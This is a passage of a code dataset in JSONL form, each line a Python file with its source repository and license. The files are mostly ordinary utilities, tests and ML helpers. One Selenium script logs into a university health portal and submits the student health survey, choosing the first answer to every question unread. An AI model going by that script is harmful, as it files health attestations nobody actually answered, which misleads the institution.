\" points to distribute amongst your S.P.E.C.I.A.L. attributes.\\n\")\n print(\"1. Add points\\n2. Remove points\\n3. See current attributes\\n4. Exit\\n\")\n\n choice = input(\"Choose wisely:\")\n\n if choice == \"1\":\n add_character_points()\n elif choice == \"2\":\n remove_character_points()\n elif choice == \"3\":\n print_character()\n elif choice == \"4\":\n if points > 0:\n print(\"Use all your points first!\")\n else:\n running = False\n else:\n pass\n", "source": "mshinners/rpg-char-gen", "license": "MIT"}
+{"text": "#!/usr/bin/python\n\nfrom __future__ import print_function\nimport sys\nimport rubrik_cdm\nimport getopt\nimport getpass\nimport urllib3\nurllib3.disable_warnings()\n\n\ndef usage():\n sys.stderr.write(\"Usage: rbk_share_grab.py [-h] [-c creds] [-p protocol] [-t token] [-o outfile] rubrik\\n\")\n sys.stderr.write(\"-h | --help: Prints this message\\n\")\n sys.stderr.write(\"-c | --creds : Enter cluster credentials on the CLI [user:password]\\n\")\n sys.stderr.write(\"-p | --protocol : Only grab shares of the given protocol [NFS | SMB]\\n\")\n sys.stderr.write(\"-t | --token : Authenticate via token\\n\")\n sys.stderr.write(\"-o | --output : Write output to a file\\n\")\n sys.stderr.write(\"rubrik : Hostname or IP of a Rubrik Cluster\\n\")\n exit(0)\n\ndef python_input(message):\n if int(sys.version[0]) > 2:\n value = input(message)\n else:\n value = raw_input(message)\n return(value)\n\nif __name__ == \"__main__\":\n user = \"\"\n password = \"\"\n token = \"\"\n protocol = \"\"\n outfile = \"\"\n timeout = 60\n\n optlist, args = getopt.getopt(sys.argv[1:], 'c:t:p:ho:', ['creds=', 'token=', 'protocol=', 'help', 'output='])\n for opt, a in optlist:\n if opt in ('-c', '--creds'):\n (user, password) = a.split(':')\n if opt in ('-t', '--token'):\n token = a\n if opt in ('-p', '--protocol'):\n protocol = a.upper()\n if opt in ('-h', '--help'):\n usage()\n if opt in ('-o', '--output'):\n outfile = a\n try:\n rubrik_node = args[0]\n except:\n usage()\n if not user:\n user = python_input(\"User: \")\n if not password:\n password = getpass.getpass(\"Password: \")\n if token != \"\":\n rubrik = rubrik_cdm.Connect(rubrik_node, api_token=token)\n else:\n rubrik = rubrik_cdm.Connect(rubrik_node, user, password)\n hs_data = rubrik.get('internal', '/host/share', timeout=timeout)\n if outfile:\n fp = open(outfile, \"w\")\n for hs in hs_data['data']:\n if protocol != \"\" and protocol != hs['shareType']:\n continue\n if hs['status'] != \"REPLICATION_TARGET\":\n if outfile:\n fp.write(hs['hostname'] + \":\" + hs['exportPoint'] + \"\\n\")\n else:\n print(hs['hostname'] + \":\" + hs['exportPoint'])\n if outfile:\n fp.close()\n\n\n\n\n", "source": "adamrfox/rbk_nas_bulk_add", "license": "MIT"}
+{"text": "import pickle\r\nman = []\r\nother = []\r\n\r\ntry:\r\n with open('sketch.txt') as data:\r\n for each_line in data:\r\n try:\r\n (role, line_spoken) = each_line.split(':',1)\r\n line_spoken = line_spoken.strip()\r\n if role == 'Other Man':\r\n man.append(line_spoken)\r\n elif role == 'Man':\r\n other.append(line_spoken)\r\n except ValueError:\r\n pass\r\nexcept IOError as err:\r\n print('File Error:' + str(err))\r\nprint(man)\r\nprint(other)\r\n\r\ntry:\r\n with open('man_file.pickle',mode='wb') as man_file, open('other_file.pickle', mode='wb') as other_file:\r\n pickle.dump(man,man_file)\r\n pickle.dump(other, other_file)\r\nexcept pickle.PickleError as ex:\r\n print('Pickle Error:' + str(ex))\r\n\r\n", "source": "tdean1995/HFPythonSandbox", "license": "Apache-2.0"}
+{"text": "#!/usr/bin/env python\nimport selenium, time, os, platform\nfrom selenium import webdriver\nfrom selenium.webdriver.common.keys import Keys\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.support.ui import WebDriverWait\nfrom selenium.webdriver.support import expected_conditions as EC\nfrom getpass import getpass\nimport info \n\nusername = info.username\npw = info.password\n\nif username ==\"\":\n username = input(\"Enter your BU username:\")\nif pw ==\"\":\n pw = getpass(\"Enter your password:\")\n\n#check operating system (windows or mac)\nosys = platform.system()\n\nif osys == 'Windows':\n # PATH = \"C:\\Program Files (x86)\\ChromeDriver\\chromedriver.exe\"\n # web = webdriver.Chrome(PATH)\n web = webdriver.Chrome('chromedriver.exe')\n \n\nelif osys == 'Darwin':\n web = webdriver.Chrome()\n# make sure this path is correct\n\nstart = time.time()\n\nweb.get('https://www.bu.edu/shs/getting-started/using-patient-connect/')\nwait = WebDriverWait(web,10)\n\nwait.until(EC.element_to_be_clickable((By.XPATH, '//*[@id=\"post-7513\"]/p[2]/a'))).click()\n\n#switch tabs \nweb.switch_to.window(web.window_handles[1])\n\n#Log in Screen\nusername_input = wait.until(EC.presence_of_element_located((By.XPATH, '//*[@id=\"j_username\"]')))\nusername_input.send_keys(username)\n\npw_input = web.find_element_by_xpath('//*[@id=\"j_password\"]')\npw_input.send_keys(pw)\n\nlogin_button = web.find_element_by_xpath('/html/body/div[1]/div/form/button')\nlogin_button.click()\n\nprint(\"Logging in...\")\n\n# # #Click Survey Button\n\nsurvey_button = wait.until(\n EC.element_to_be_clickable((By.LINK_TEXT, 'Complete Survey'))\n )\n\nsurvey_button.click()\n\n#Click Continue Button\ntime.sleep(0.5)\ncontinue_button = wait.until(\n EC.presence_of_element_located((By.XPATH,'//*[@id=\"mainbody\"]/div[2]/div[1]/div/div[2]/a'))\n )\ncontinue_button.click()\n\n\n\n#Survey Questions\ntime.sleep(0.5)\nweb.find_element_by_xpath('//*[@id=\"mainbody\"]/main/form/div[2]/fieldset/div/div[1]/div').click()\nweb.find_element_by_xpath('//*[@id=\"mainbody\"]/main/form/div[3]/fieldset/div/div[1]/div').click()\nweb.find_element_by_xpath('//*[@id=\"mainbody\"]/main/form/div[4]/fieldset/div/div[1]/div').click()\nweb.find_element_by_xpath('//*[@id=\"mainbody\"]/main/form/div[5]/fieldset/div/div[1]/div').click()\nweb.find_element_by_xpath('//*[@id=\"mainbody\"]/main/form/div[6]/fieldset/div/div[1]/div').click()\nweb.find_element_by_xpath('//*[@id=\"mainbody\"]/main/form/div[7]/fieldset/div/div[1]/div').click()\nweb.find_element_by_xpath('//*[@id=\"mainbody\"]/main/form/div[8]/fieldset/div/div[1]/div').click()\nweb.find_element_by_xpath('//*[@id=\"mainbody\"]/main/form/div[9]/fieldset/div/div[1]/div').click()\nprint('Survey Complete')\n\n#Submit Survey\nweb.find_element_by_xpath('//*[@id=\"mainbody\"]/footer/div/div[2]/input').click()\nprint('Survey Submitted')\nprint('This took: %.2f seconds' % (time.time()-start))\n", "source": "angrycaptain19/BU-Patient-Connect-Shortcuts", "license": "MIT"}
+{"text": "import unittest\n\nimport numpy as np\n\nfrom mlscratch.models import losses\n\n\nclass TestBinaryCrossEntropy(unittest.TestCase):\n\n def setUp(self):\n self.y_true = np.array([0, 1, 0.5])\n self.y_pred = np.array([0, 1, 0.5])\n\n def test_return(self):\n bce = losses.binary_cross_entropy(self.y_true, self.y_pred)\n self.assertIsInstance(bce, np.float64)\n\n\nclass TestMeanSquaredError(unittest.TestCase):\n\n def setUp(self):\n self.y_true = np.array([0, 1])\n self.y_pred = np.array([0.3, 0.4])\n\n def test_return(self):\n mse = losses.mean_squared_error(self.y_true, self.y_pred)\n self.assertIsInstance(mse, np.float64)\n", "source": "yutayamazaki/Machine-Learning-Scratch", "license": "MIT"}
+{"text": "\"\"\"\nConstant values used all over the place.\nFare data is stored in fares/data.py.\n\"\"\"\n\n\n# Directories\nDIR_DOWNLOAD = \"data_src\"\nDIR_CONVERTED = \"data_feeds\"\nDIR_SINGLE_FEED = \"data_gtfs\"\nDIR_SHAPE_ERR = \"err_shapes\"\nDIR_SHAPE_CACHE = \"data_shapes\"\n\n# How long to keep Overpass data cached (in minutes)\nSHAPE_CACHE_TTL = 2 * 1440\n\n# External data sources\nFTP_ADDR = \"rozklady.ztm.waw.pl\"\n\n_BASE_GIST = \"https://gist.githubusercontent.com/MKuranowski/0ca97a012d541899cb1f859cd0bab2e7/\"\nGIST_MISSING_STOPS = _BASE_GIST + \"raw/missing_stops.json\"\nGIST_RAIL_PLATFORMS = _BASE_GIST + \"raw/rail_platforms.json\"\nGIST_STOP_NAMES = _BASE_GIST + \"raw/stop_names.json\"\n\nURL_METRO_GTFS = \"https://mkuran.pl/gtfs/warsaw/metro.zip\"\n\n# Logging attrivutes\nLOGGING_STYLE = \"{\"\nLOGGING_FMT = \"[{levelname}] {name}: {message}\"\n\n# List of rail stops used by S\u00d7 lines. Other rail stops are ignored.\nACTIVE_RAIL_STATIONS = {\n \"4900\", \"4901\", \"7900\", \"7901\", \"7902\", \"2901\", \"2900\", \"2918\", \"2917\", \"2916\", \"2915\",\n \"2909\", \"2908\", \"2907\", \"2906\", \"2905\", \"2904\", \"2903\", \"2902\", \"4902\", \"4903\", \"4923\",\n \"4904\", \"4905\", \"2914\", \"2913\", \"2912\", \"2911\", \"2910\", \"4919\", \"3901\", \"4918\", \"4917\",\n \"4913\", \"1910\", \"1909\", \"1908\", \"1907\", \"1906\", \"1905\", \"1904\", \"1903\", \"1902\", \"1901\",\n \"7903\", \"5908\", \"5907\", \"5904\", \"5903\", \"5902\", \"1913\", \"1914\", \"1915\",\n}\n\n# Irregular stop names\nPROPER_STOP_NAMES = {\n \"1226\": \"Ma\u0144ki-Wojody\",\n \"1484\": \"Dom Samotnej Matki\",\n \"1541\": \"Marki Bandurskiego I\",\n \"2005\": \"Praga-P\u0142d. - Ratusz\",\n \"2296\": \"Szosa Lubelska\",\n \"2324\": \"Wi\u0105zowna\",\n \"4040\": \"Lotnisko Chopina\",\n \"4305\": \"Posag 7 Panien\", # theoretically \"Zajezdnia Ursus P\u0142n.\"\n \"4400\": \"Mobilis Sp. z.o.o.\",\n \"5001\": \"Po\u0142czy\u0144ska - Parking P+R\",\n \"6201\": \"Lipk\u00f3w Paschalisa-Jakubowicza\",\n}\n\n# GTFS headers\nHEADERS = {\n \"agency.txt\": [\n \"agency_id\", \"agency_name\", \"agency_url\", \"agency_timezone\",\n \"agency_lang\", \"agency_phone\", \"agency_fare_url\",\n ],\n\n \"attributions.txt\": [\n \"attribution_id\", \"organization_name\", \"is_producer\", \"is_operator\",\n \"is_authority\", \"is_data_source\", \"attribution_url\",\n ],\n\n \"feed_info.txt\": [\"feed_publisher_name\", \"feed_publisher_url\", \"feed_lang\", \"feed_version\"],\n\n \"calendar_dates.txt\": [\"service_id\", \"date\", \"exception_type\"],\n\n \"fare_attributes.txt\": [\n \"fare_id\", \"price\", \"currency_type\", \"payment_method\", \"transfers\",\n \"agency_id\", \"transfer_duration\",\n ],\n\n \"fare_rules.txt\": [\"fare_id\", \"route_id\", \"contains_id\"],\n\n \"shapes.txt\": [\n \"shape_id\", \"shape_pt_sequence\", \"shape_dist_traveled\", \"shape_pt_lat\", \"shape_pt_lon\"\n ],\n\n \"stops.txt\": [\n \"stop_id\", \"stop_name\", \"stop_lat\", \"stop_lon\", \"location_type\", \"parent_station\",\n \"zone_id\", \"stop_IBNR\", \"stop_PKPPLK\", \"platform_code\", \"wheelchair_boarding\",\n ],\n\n \"routes.txt\": [\n \"agency_id\", \"route_id\", \"route_short_name\", \"route_long_name\", \"route_type\",\n \"route_color\", \"route_text_color\", \"route_sort_order\",\n ],\n\n \"trips.txt\": [\n \"route_id\", \"service_id\", \"trip_id\", \"trip_headsign\", \"direction_id\",\n \"shape_id\", \"exceptional\", \"wheelchair_accessible\", \"bikes_allowed\",\n ],\n\n \"stop_times.txt\": [\n \"trip_id\", \"arrival_time\", \"departure_time\", \"stop_id\", \"stop_sequence\",\n \"pickup_type\", \"drop_off_type\", \"shape_dist_traveled\",\n ],\n}\n", "source": "MKuranowski/WarsawGTFS", "license": "MIT"}
+{"text": "from revibe.platforms.platforms import *\nfrom revibe._errors.platforms import PlatformNotFoundError\n\n# -----------------------------------------------------------------------------\n\nlinked_platforms = [\n Revibe,\n YouTube,\n Spotify,\n]\n\ndef get_platform(string):\n for platform in linked_platforms:\n if string in platform.strings:\n return platform()\n raise PlatformNotFoundError(\"Could not determine the platform based on the input {}\".format(string))\n", "source": "Revibe-Music/core-services", "license": "MIT"}
+{"text": "import torch\n\n\ndef squared_euclidean_distance(a, b):\n b = torch.transpose(b, 0, 1)\n a2 = torch.sum(torch.square(a), dim=1, keepdims=True)\n b2 = torch.sum(torch.square(b), dim=0, keepdims=True)\n ab = torch.matmul(a, b)\n d = a2 - 2 * ab + b2\n return d\n\n\ndef quantize(x, centroids):\n b, c, h, w = x.shape\n # [B, C, H, W] => [B, H, W, C]\n x = x.permute(0, 2, 3, 1).contiguous()\n x = x.view(-1, c) # flatten to pixels\n d = squared_euclidean_distance(x, centroids)\n x = torch.argmin(d, 1)\n x = x.view(b, h, w)\n return x\n\n\ndef unquantize(x, centroids):\n return centroids[x]\n", "source": "teddykoker/image-gpt", "license": "Apache-2.0"}
+{"text": "import torch\nimport torch.nn as nn\nfrom torch.nn import init\n\nfrom encoders import *\nfrom aggregators import *\n\nclass SupervisedGraphSage(nn.Module):\n def __init__(self, num_classes, enc, w):\n \"\"\"\n w - array of len(num_classes) indicating the weight of each class when computing\n loss.\n \"\"\"\n super(SupervisedGraphSage, self).__init__()\n self.enc = enc\n self.w = w\n self.xent = nn.CrossEntropyLoss(weight=self.w)\n self.weight = nn.Parameter(torch.FloatTensor(num_classes, enc.embed_dim))\n init.xavier_uniform_(self.weight)\n\n def forward(self, nodes):\n embeds = self.enc(nodes)\n scores = self.weight.mm(embeds)\n return scores.t()\n\n def loss(self, nodes, labels):\n scores = self.forward(nodes)\n return self.xent(scores, labels.squeeze())\n\n\ndef createGNN(args, features, adj_list, num_features, class_weights):\n if args.model_type == 'GraphSage':\n agg1 = MeanAggregator(features, cuda=False)\n enc1 = Encoder(features, num_features, args.hidden_dim, adj_list, agg1, gcn=False, cuda=False)\n enc1.num_samples = 25 # Sample 25 neighbors when aggregating.\n return SupervisedGraphSage(len(class_weights), enc1, torch.FloatTensor(class_weights))\n", "source": "jestjest/cs224w-project", "license": "MIT"}
+{"text": "import unittest\n\nfrom main import Polski\n\n\nclass PolskiTest(unittest.TestCase):\n def setUp(self):\n self.polski = Polski()\n", "source": "Matt-Deacalion/Polskie", "license": "MIT"}
+{"text": "\"\"\"Tests for Pipeline class\"\"\"\nimport pytest\nfrom cognigraph.nodes.pipeline import Pipeline\nimport numpy as np\nfrom numpy.testing import assert_array_equal\nfrom cognigraph.tests.prepare_pipeline_tests import (\n create_dummy_info,\n ConcreteSource,\n ConcreteProcessor,\n ConcreteOutput,\n)\n\n\n@pytest.fixture(scope=\"function\")\ndef pipeline():\n source = ConcreteSource()\n processor = ConcreteProcessor()\n output = ConcreteOutput()\n pipeline = Pipeline()\n pipeline.add_child(source)\n source.add_child(processor)\n processor.add_child(output)\n return pipeline\n\n\ndef test_pipeline_initialization(pipeline):\n pipeline.chain_initialize()\n source = pipeline._children[0]\n processor = source._children[0]\n output = processor._children[0]\n assert source._initialized\n assert source.mne_info is not None\n assert source.mne_info[\"nchan\"] == source.nchan\n assert processor._initialized\n assert output._initialized\n\n\ndef test_pipeline_update(pipeline):\n \"\"\"Update all pipeline nodes twice and check outputs\"\"\"\n pipeline.chain_initialize()\n src = pipeline._children[0]\n proc = src._children[0]\n out = proc._children[0]\n\n nch = src.nchan\n nsamp = src.nsamp\n pr_inc = proc.increment\n out_inc = out.increment\n\n pipeline.update()\n\n assert_array_equal(src.output, np.zeros([nch, nsamp]))\n assert_array_equal(proc.output, np.zeros([nch, nsamp]) + pr_inc)\n assert_array_equal(out.output, proc.output + out_inc)\n\n pipeline.update()\n\n assert_array_equal(src.output, np.ones([nch, nsamp]))\n assert_array_equal(proc.output, np.ones([nch, nsamp]) + pr_inc * 2)\n assert_array_equal(out.output, proc.output + out_inc * 2)\n\n\ndef test_reset_mechanics(pipeline):\n \"\"\"\n Test if upstream output shape changes when changing number of channels in\n source via _mne_info, test if src._on_critical_attr_changed is called when\n this happens, test if it triggers reinitialization for node for\n which _mne_info is in UPSTREAM_CHANGES_IN_THESE_REQUIRE_REINITIALIZATION,\n finally test if history invalidation mechanics works.\n\n \"\"\"\n src = pipeline._children[0]\n proc = src._children[0]\n out = proc._children[0]\n\n pipeline.chain_initialize()\n pipeline.update()\n new_nchan = 43\n new_info = create_dummy_info(nchan=new_nchan)\n\n assert src.n_resets == 0\n assert proc.n_initializations == 1\n assert proc.n_hist_invalidations == 0\n src._mne_info = new_info\n pipeline.update()\n assert src.n_resets == 1\n for i in range(3):\n pipeline.update()\n pipeline.update()\n assert np.all(out.output)\n assert out.output.shape[0] == new_nchan\n assert proc.n_initializations == 2\n assert proc.n_hist_invalidations == 1\n\n\ndef test_add_child_on_the_fly(pipeline):\n src = pipeline._children[0]\n pipeline.chain_initialize()\n pipeline.update()\n new_processor = ConcreteProcessor(increment=0.2)\n src.add_child(new_processor, initialize=True)\n pipeline.update()\n\n nch = src.nchan\n nsamp = src.nsamp\n assert_array_equal(\n new_processor.output, np.ones([nch, nsamp]) + new_processor.increment\n )\n assert new_processor._root is pipeline\n\n\n# def test_critical_upstream_change_happened(pipeline):\n# src = pipeline._children[0]\n# proc = src._children[0]\n# pipeline.chain_initialize()\n# pipeline.update()\n", "source": "ossadtchi/cognigraph", "license": "MIT"}
+{"text": "from setuptools import setup, find_packages\nfrom os import path\n\nhere = path.abspath(path.dirname(__file__))\nwith open(path.join(here, 'README.md'), encoding='utf-8') as f:\n long_description = f.read()\n\nsetup(\n name='artssat', # Required\n version='0.0.5', # Required\n description='High-level simulation and retrieval framework for microwave and IR remote sensing.',\n long_description=long_description,\n long_description_content_type='text/markdown', # Optional (see note above)\n url='https://github.com/simonpf/artssat', # Optional\n author='Simon Pfreundschuh', # Optional\n author_email='simon.pfreundschuh@chalmers.se', # Optional\n install_requires=[\"pyarts\", \"typhon\", \"netCDF4\"],\n packages=find_packages(exclude=['examples', 'doc', 'misc', 'tests']),\n python_requires='>=3.6',\n project_urls={ # Optional\n 'Source': 'https://github.com/simonpf/artssat/',\n })\n", "source": "simonpf/pARTS", "license": "MIT"}
+{"text": "import unittest\ntry:\n from unittest.mock import Mock\nexcept ImportError:\n from mock import Mock\nfrom cartoframes.viz import helpers, Source\n\n\nclass TestColorContinuousLayerHelper(unittest.TestCase):\n def setUp(self):\n self.orig_compute_query_bounds = Source._compute_query_bounds\n Source._compute_query_bounds = Mock(return_valye=None)\n\n def tearDown(self):\n Source._compute_query_bounds = self.orig_compute_query_bounds\n\n def test_helpers(self):\n \"should be defined\"\n self.assertNotEqual(helpers.color_continuous_layer, None)\n\n def test_color_continuous_layer(self):\n \"should create a layer with the proper attributes\"\n Source._get_geom_type = Mock(return_value='point')\n\n layer = helpers.color_continuous_layer(\n source='sf_neighborhoods',\n value='name'\n )\n\n self.assertNotEqual(layer.style, None)\n self.assertEqual(layer.style._style['point']['color'], 'ramp(linear($name), bluyl)')\n self.assertEqual(layer.style._style['line']['color'], 'ramp(linear($name), bluyl)')\n self.assertEqual(layer.style._style['polygon']['color'], 'opacity(ramp(linear($name), bluyl), 0.9)')\n self.assertNotEqual(layer.popup, None)\n self.assertEqual(layer.popup._hover, [{\n 'title': 'name',\n 'value': '$name'\n }])\n\n self.assertNotEqual(layer.legend, None)\n self.assertEqual(layer.legend._type['point'], 'color-continuous-point')\n self.assertEqual(layer.legend._type['line'], 'color-continuous-line')\n self.assertEqual(layer.legend._type['polygon'], 'color-continuous-polygon')\n self.assertEqual(layer.legend._title, 'name')\n self.assertEqual(layer.legend._description, '')\n self.assertEqual(layer.legend._footer, '')\n\n def test_color_continuous_layer_point(self):\n \"should create a point type layer\"\n layer = helpers.color_continuous_layer(\n 'sf_neighborhoods',\n 'name',\n 'Neighborhoods',\n palette='prism'\n )\n\n self.assertEqual(\n layer.style._style['point']['color'],\n 'ramp(linear($name), prism)'\n )\n\n def test_color_continuous_layer_line(self):\n \"should create a line type layer\"\n Source._get_geom_type = Mock(return_value='line')\n\n layer = helpers.color_continuous_layer(\n 'sf_neighborhoods',\n 'name',\n 'Neighborhoods',\n palette='[blue,#F00]'\n )\n\n self.assertEqual(\n layer.style._style['line']['color'],\n 'ramp(linear($name), [blue,#F00])'\n )\n\n def test_color_continuous_layer_polygon(self):\n \"should create a polygon type layer\"\n Source._get_geom_type = Mock(return_value='polygon')\n\n layer = helpers.color_continuous_layer(\n 'sf_neighborhoods',\n 'name',\n 'Neighborhoods',\n palette=['blue', '#F00']\n )\n\n self.assertEqual(\n layer.style._style['polygon']['color'],\n 'opacity(ramp(linear($name), [blue,#F00]), 0.9)'\n )\n\n def test_color_continuous_layer_legend(self):\n \"should show/hide the legend\"\n layer = helpers.color_continuous_layer(\n 'sf_neighborhoods',\n 'name',\n legend=False\n )\n\n self.assertEqual(layer.legend._type, '')\n self.assertEqual(layer.legend._title, '')\n\n layer = helpers.color_continuous_layer(\n 'sf_neighborhoods',\n 'name',\n legend=True\n )\n\n self.assertEqual(layer.legend._type, {\n 'point': 'color-continuous-point',\n 'line': 'color-continuous-line',\n 'polygon': 'color-continuous-polygon'\n })\n self.assertEqual(layer.legend._title, 'name')\n\n def test_color_continuous_layer_popup(self):\n \"should show/hide the popup\"\n layer = helpers.color_continuous_layer(\n 'sf_neighborhoods',\n 'name',\n popup=False\n )\n\n self.assertEqual(layer.popup._hover, [])\n\n layer = helpers.color_continuous_layer(\n 'sf_neighborhoods',\n 'name',\n popup=True\n )\n\n self.assertEqual(layer.popup._hover, [{\n 'title': 'name',\n 'value': '$name'\n }])\n\n def test_color_continuous_layer_widget(self):\n \"should show/hide the widget\"\n layer = helpers.color_continuous_layer(\n 'sf_neighborhoods',\n 'name',\n widget=False\n )\n\n self.assertEqual(layer.widgets._widgets, [])\n\n layer = helpers.color_continuous_layer(\n 'sf_neighborhoods',\n 'name',\n widget=True\n )\n\n self.assertEqual(layer.widgets._widgets[0]._type, 'histogram')\n self.assertEqual(layer.widgets._widgets[0]._title, 'Distribution')\n\n def test_color_continuous_layer_animate(self):\n \"should animate a property and disable the popups\"\n layer = helpers.color_continuous_layer(\n 'sf_neighborhoods',\n 'name',\n animate='time'\n )\n\n self.assertEqual(layer.popup._hover, [])\n self.assertEqual(layer.widgets._widgets[0]._type, 'time-series')\n self.assertEqual(layer.widgets._widgets[0]._title, 'Animation')\n self.assertEqual(layer.widgets._widgets[0]._value, 'time')\n", "source": "CristianPachacama/cartoframes", "license": "BSD-3-Clause"}
+{"text": "name = \"doxygen\"\n\nversion = \"1.8.18\"\n\nauthors = [\n \"Dimitri van Heesch\"\n]\n\ndescription = \\\n \"\"\"\n Doxygen is the de facto standard tool for generating documentation from annotated C++ sources, but it also supports\n other popular programming languages such as C, Objective-C, C#, PHP, Java, Python, IDL (Corba, Microsoft, and\n UNO/OpenOffice flavors), Fortran, VHDL, and to some extent D.\n \"\"\"\n\nrequires = [\n \"bison-3+\",\n \"cmake-3+\",\n \"flex-2+\",\n \"gcc-6+\",\n \"python-2.7+<3\"\n]\n\nvariants = [\n [\"platform-linux\"]\n]\n\ntools = [\n]\n\nbuild_system = \"cmake\"\n\nwith scope(\"config\") as config:\n config.build_thread_count = \"logical_cores\"\n\nuuid = \"doxygen-{version}\".format(version=str(version))\n\ndef commands():\n env.PATH.prepend(\"{root}/bin\")\n\n # Helper environment variables.\n env.DOXYGEN_BINARY_PATH.set(\"{root}/bin\")\n", "source": "OSS-Pipeline/rez-doxygen", "license": "MIT"}
+{"text": "# -*- coding: utf-8 -*-\n''' Widgets for displaying argparse arguments in a GUI '''\n\nimport argparse\n\nfrom qtpy import QtCore, QtWidgets\n\nfrom . import groupingTools, wrappedWidgets\n\nclass ArgDialog(QtWidgets.QDialog):\n\t''' A simple settings dialog containing a single ArgparseWidget and stardard ok/cancel dialog buttons '''\n\n\tvalueAdjusted = QtCore.Signal()\n\n\tdef __init__(self, argParser, orphanGroupName='Main', parent=None):\n\t\tsuper().__init__(parent)\n\n\t\tself.argParser = argParser\n\t\tself.argparseWidget = ArgparseListWidget(self.argParser, orphanGroupName)\n\t\tself.argparseWidget.valueAdjusted.connect(self.valueAdjusted.emit)\n\n\t\tself.setWindowTitle('Settings')\n\n\t\tself.buttons = QtWidgets.QDialogButtonBox(self)\n\t\tself.buttons.addButton(QtWidgets.QDialogButtonBox.Ok)\n\t\tself.buttons.addButton(QtWidgets.QDialogButtonBox.Cancel)\n\n\t\tself.setLayout(QtWidgets.QVBoxLayout())\n\t\tself.layout().addWidget(self.argparseWidget)\n\t\tself.layout().addWidget(self.buttons)\n\n\t\tself.buttons.accepted.connect(self.accept)\n\t\tself.buttons.rejected.connect(self.reject)\n\n\t\tself.resize(800, 400)\n\n\tdef setValues(self, values):\n\t\treturn self.argparseWidget.setValues(values)\n\n\tdef getValues(self):\n\t\treturn self.argparseWidget.getValues()\n\nclass ArgparseListWidget(QtWidgets.QWidget):\n\t''' A widget with a list of argparse groups in a listbox on the left, and stacked ArgGroupWidgets on the right.\n\t\tThis widget can be embedded into dialogs, windows, and other widgets\n\n\t\tClicking a group in the list on the left will display the settings for that group on the right\n\t'''\n\n\tvalueAdjusted = QtCore.Signal()\n\n\tdef __init__(self, argParser, orphanGroupName, parent=None):\n\t\tsuper().__init__(parent)\n\n\t\tself.argParser = argParser\n\t\tself.groupedParser = groupingTools.organizeIntoGroups(self.argParser)\n\t\tself.setLayout(QtWidgets.QHBoxLayout())\n\n\t\tself.groupList = QtWidgets.QListWidget(self)\n\t\tself.widgetStack = QtWidgets.QStackedWidget(self)\n\n\t\tself.groupList.setMaximumWidth(100)\n\t\tself.layout().addWidget(self.groupList)\n\t\tself.layout().addWidget(self.widgetStack, stretch=1)\n\n\t\tself.orphanGroupname = orphanGroupName\n\n\t\tfor group,arguments in self.groupedParser.items():\n\t\t\tif group.title in ['positional arguments', 'optional arguments']:\n\t\t\t\tgroupName = self.orphanGroupname\n\t\t\t\tif self.widgetStack.count() > 0:\n\t\t\t\t\tgroupWidget = self.widgetStack.widget(0)\n\t\t\t\telse:\n\t\t\t\t\tgroupWidget = self._addGroup(groupName, self.argParser.description)\n\t\t\telse:\n\t\t\t\tgroupName = group.title\n\t\t\t\tgroupWidget = self._addGroup(groupName, group.description)\n\n\t\t\tgroupWidget.addArguments(arguments.values())\n\n\t\tself.groupList.setCurrentRow(0)\n\t\tself.groupList.currentRowChanged.connect(self.widgetStack.setCurrentIndex)\n\t\tif self.groupList.count() == 1:\n\t\t\tself.groupList.hide()\n\n\tdef _addGroup(self, name, description):\n\t\tself.groupList.addItem(name)\n\t\tgroupWidget = ArgGroupWidget(name, description=description)\n\t\tgroupWidget.valueAdjusted.connect(self.valueAdjusted.emit)\n\t\tself.widgetStack.addWidget(groupWidget)\n\n\t\treturn groupWidget\n\n\tdef setValues(self, values):\n\t\tfor i in range(self.widgetStack.count()):\n\t\t\tgroupName = self.groupList.item(i).text()\n\t\t\tif groupName in values:\n\t\t\t\tself.widgetStack.widget(i).setValues(values[groupName])\n\t\t\telse:\n\t\t\t\tself.widgetStack.widget(i).setValues(values)\n\n\tdef getValues(self):\n\t\tsettings = {}\n\t\tfor i in range(self.widgetStack.count()):\n\t\t\tgroupName = self.groupList.item(i).text()\n\t\t\tif groupName == self.orphanGroupname:\n\t\t\t\tsettings = {**settings, **self.widgetStack.widget(i).getValues()}\n\t\t\telse:\n\t\t\t\tsettings[groupName] = self.widgetStack.widget(i).getValues()\n\n\t\treturn settings\n\nclass ArgGroupWidget(QtWidgets.QWidget):\n\t''' Container for a group of argument widgets\n\n\t\tThis widget can be embedded into other containers if you wanted, say, a tabbed-based view\n\t'''\n\n\tvalueAdjusted = QtCore.Signal()\n\n\tdef __init__(self, name, arguments=[], description=None, parent=None):\n\t\tsuper().__init__(parent)\n\t\tself.name = name\n\n\t\tself.setLayout(QtWidgets.QVBoxLayout())\n\t\tself.layout().setAlignment(QtCore.Qt.AlignTop)\n\t\tself.form = QtWidgets.QWidget()\n\t\tself.form.setLayout(QtWidgets.QFormLayout())\n\t\tself.form.layout().setHorizontalSpacing(32)\n\n\t\tif description is None:\n\t\t\ttext = QtWidgets.QLabel(f'
{name}
')\n\t\telse:\n\t\t\ttext = QtWidgets.QLabel(f'
{name}
{description}
')\n\n\t\ttext.setWordWrap(True)\n\t\tself.layout().addWidget(text)\n\t\tself.layout().addWidget(self.form)\n\n\t\tself.addArguments(arguments)\n\n\tdef onValueChanged(self, _):\n\t\tself.valueAdjusted.emit()\n\n\tdef addArguments(self, arguments):\n\t\tfor argument in arguments:\n\t\t\twidget = wrappedWidgets.makeWidget(argument, self)\n\t\t\twidget.valueChanged.connect(self.onValueChanged)\n\n\t\t\thelpText = argument.help\n\t\t\twidget.setToolTip(helpText)\n\t\t\twidget.setWhatsThis(helpText)\n\n\t\t\tself.form.layout().addRow(argument.dest, widget)\n\n\tdef setValues(self, values):\n\t\tfor row in range(self.form.layout().rowCount()):\n\t\t\titemName = self.form.layout().itemAt(row, QtWidgets.QFormLayout.LabelRole).widget().text()\n\t\t\tif itemName in values:\n\t\t\t\twidget = self.form.layout().itemAt(row, QtWidgets.QFormLayout.FieldRole).widget()\n\t\t\t\twidget.setValue(values[itemName])\n\n\tdef getValues(self):\n\t\tvalues = {}\n\t\tfor row in range(self.form.layout().rowCount()):\n\t\t\titemName = self.form.layout().itemAt(row, QtWidgets.QFormLayout.LabelRole).widget().text()\n\t\t\titemValue = self.form.layout().itemAt(row, QtWidgets.QFormLayout.FieldRole).widget().value()\n\n\t\t\tvalues[itemName] = itemValue\n\n\t\treturn values\n", "source": "fochoao/cpython", "license": "bzip2-1.0.6"}
